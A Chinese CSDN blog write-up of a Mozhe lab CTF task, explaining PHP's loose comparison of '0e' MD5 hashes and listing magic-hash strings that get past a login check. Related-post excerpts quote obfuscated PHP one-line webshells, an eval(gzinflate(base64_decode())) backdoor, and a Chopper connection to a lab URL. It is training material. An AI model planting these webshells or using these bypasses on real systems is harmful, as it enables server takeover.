墨者 PHP代码分析溯源(第2题)

最新推荐文章于 2024-08-21 09:23:06 发布
最新推荐文章于 2024-08-21 09:23:06 发布
阅读量249 收藏 2
点赞数 8
文章标签： php 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/liulala987/article/details/140875350
版权

打开靶场

下载源码 代码审计

md5加密的值为

审计源代码，需要找一个值，这个值的md5值在php中==题中给定值的md5值

PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么PHP将会认为他们相同，都是0。

常见的如下：在md5加密后以0E开头

QNKCDZO
240610708
s878926199a
s155964671a

随便交一个得到key

溜啦啦
关注
  • 8
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
墨者学院 - PHP代码分析溯源(第1题)
多崎巡礼的博客
07-30 825
1、“^”为异或运算符。在PHP中，两个变量进行异或时，会将字符串转换成二进制再进行异或，异或完，又将结果从二进制转换成了字符串。 2、$_++;这行代码的意思是对变量名为"_"的变量进行自增操作，在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 3、$__=("`"^"?").(":"^"}").("%.
墨者学院-HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)
05-29
HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)、phpMyAdmin后台文件包含分析溯源、PHP代码分析溯源(第1题)、PHP代码分析溯源(第2题)、PHP逻辑漏洞利用实战(第1题)、SQL手工注入漏洞测试(Access数据库)
墨者PHP代码分析溯源(第4题)题解
zr1213159840的博客
01-16 627
首先打开页面，有个提示，而且还有段代码 仔细看下这段代码 <?php eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&))); ?> 能看出来首先是一段字符进行了解码，通过末尾的等于能看出来这是一段base64的解码，然后再使用前面的gzinflate函数执行了一次。gzinflate函数通过查询看是对数据进行了压缩，那么这段代码的含义就是对后面的字符串先解密然后压缩。我们直接对ev
墨者学院-PHP代码分析溯源(第2题)
JimWu的博客
09-04 341
PHP代码分析溯源(第2题) 难易程度:★ 题目类型:代码审计 使用工具:FireFox浏览器、记事本 1.打开靶场，下载源代码。 2.用记事本打开，分析代码，判断条件为当参数a的值不等于QNKCDZO且a1=a2时，才能获取key。 但是a1是QNKCDZO用md5加密后的值，a2是输入值a用md5加密的值，a1要等于a2，但a不能等于QNKCDZO。 3.我们分析QNKCDZO经过md5加密...
墨者 - PHP代码分析溯源(第2题)
吃肉唐僧的博客
07-12 885
下载源码，发现MD5加密字符串 发现代码if ($a != 'QNKCDZO' && $a1 == $a2) 则登录成功 因为是==比较值，所以存在隐式转换问题，如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于switch语句。 上网找到这个链接：https://segmentfault.co...
墨者学院 PHP代码分析溯源(第4题) 详解
永远是少年
12-11 755
今天继续给大家介绍CTF通关writeup，本文主要内容是墨者学院 PHP代码分析溯源(第4题)。 一、题目简介 二、破解源码 三、命令执行拿到key
墨者学院-PHP代码分析溯源(第1题)
JimWu的博客
09-04 362
PHP代码分析溯源(第1题) 难易程度:★ 题目类型:代码审计 使用工具:FireFox浏览器、菜刀 1.访问网页，得到php代码 <?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[...
墨者 - WebShell代码分析溯源(第2题)
吃肉唐僧的博客
07-12 248
下载文件，查看index.php 发现一句话木马 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 解释一下，这是一句话木马的变种 $array[],POST[]都是数组（表单域的名称会自动成为 $_POST 数组中的键）， 所以array[]=arra...
墨者学院-PHP代码分析溯源(第3题)
JimWu的博客
09-04 276
PHP代码分析溯源(第3题) 难易程度:★★ 题目类型:代码审计 使用工具:FireFox浏览器、记事本 1.打开靶场，下载网页源代码。 2.用文本打开源代码，分析源代码找出密码。 ①我们分析后，发现当密码小于等于9和大于等于1时，都会返回false。 所以我们可以知道密码应该不是数字，而是英文字母。 ②当我们看到return $number == '54975581388’时，我们知道在php...
墨者学院-WebShell代码分析溯源(第2题)
JimWu的博客
09-04 303
WebShell代码分析溯源(第2题) 难易程度:★★ 题目类型:代码审计 使用工具:FireFox浏览器、菜刀、记事本 1.访问网页，下载网页源代码。 2.审查文件，打开index.php查看是否存在一句话木马。 3.在底部果然发现了变种一句话木马。 4.使用菜刀连接。 url为http://219.153.49.228:47927/www/index.php?POST=assert 密码为...
WebShell文件上传漏洞分析溯源
02-22
WebShell 文件上传漏洞分析溯源 一、WebShell 文件上传漏洞概述 WebShell 文件上传漏洞是指攻击者通过上传恶意文件（如WebShell）来获取服务器的控制权，从而实现对服务器的攻击和控制。这种漏洞通常存在于Web应用...
墨者安全专家第二代 彻底免疫未知病毒
11-02
墨者安全专家第二代为您彻底免疫未知病毒，并且提供终身免费国际杀毒品牌趋势科技的优质产品! 墨者安全专家第二代是融合了反rootkit技术、用户权限管理技术和白名单技术并有机集成的免疫“革离”技术。同时第二代集...
spring IOC实现（墨者革离）
12-12
在这个名为"spring_IOC实现（墨者革离）"的项目中，我们可以通过模拟城门叩问的编剧场景来理解这一概念。 首先，控制反转的基本思想是将对象的创建和依赖关系的管理从应用程序中分离出来，交给一个外部容器（在...
墨者靶场 post ,DB2,绕过登录，sql注入四关
07-22
2. **闭合方式判断**：分析得到的数据包后，需要判断SQL语句的闭合方式。通常情况下，闭合方式指的是如何结束一个SQL字符串。比如本例中提到的单引号闭合（'）。这意味着，在输入框中提交的数据如果包含闭合符号，则...
C++ TinyWebServer项目总结（5. Linux网络编程基础API）
Teriri_的博客
08-16 935
还是给我的语雀文档打个广告：我的文章都是先在语雀里记录的，然后再同步发送到CSDN上，有些格式问题实在是懒得改了，可能会导致大家看的不舒服，建议有需要的大家可以看看我的原文：语雀。
wordpress网站“ERR_CONNECTION_REFUSED”错误
xiaoyuya
08-17 364
wordpress网站“ERR_CONNECTION_REFUSED”错误，是一个常见的wordpress错误。通过以上步骤，你应该能够诊断并解决WordPress中的“ERR_CONNECTION_REFUSED”错误。例如，最新的WordPress可能不支持PHP5.2，必须升级到PHP5.5或更高版本。如果WordPress无法连接到数据库，也会导致类似的错误。如果你使用的是云服务器，可以尝试重启服务器来解决问题。如果连接没有问题，尝试重新启动路由器或重新连接网络。有时浏览器缓存可能导致连接问题。
day32(8/20)——playbook剧本安装nginx、roles
最新发布
wh992610的博客
08-21 495
roles(⻆⾊): 就是通过分别将variables, tasks及handlers等放置于单独的⽬录中,并可以便捷地调⽤它们的⼀种机制。假设我们要写⼀个playbook来安装管理lamp环境，那么这个playbook就会写很⻓。所以我们希望把这个很⼤的⽂件分成多个功能拆分, 分成apache管理,php管理,mysql管理，然后在需要使⽤的时候直接调⽤就可以了，以免重复写。就类似编程⾥的模块化的概念，以达到代码复⽤的效果。
thinkphp5漏洞分析之文件包含
m0_68976043的博客
08-20 540
最后，再通过一张攻击流程图来回顾整个攻击过程。
墨者sql注入mysql
09-29
墨者在练习SQL手工注入时，发现PHP代码对客户端提交的参数未做任何过滤，可以利用这个漏洞进行注入。他可以通过两种方法来进行注入。 第一种方法是手工注入。墨者可以通过了解SQL注入原理和MySQL的数据结构，掌握...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值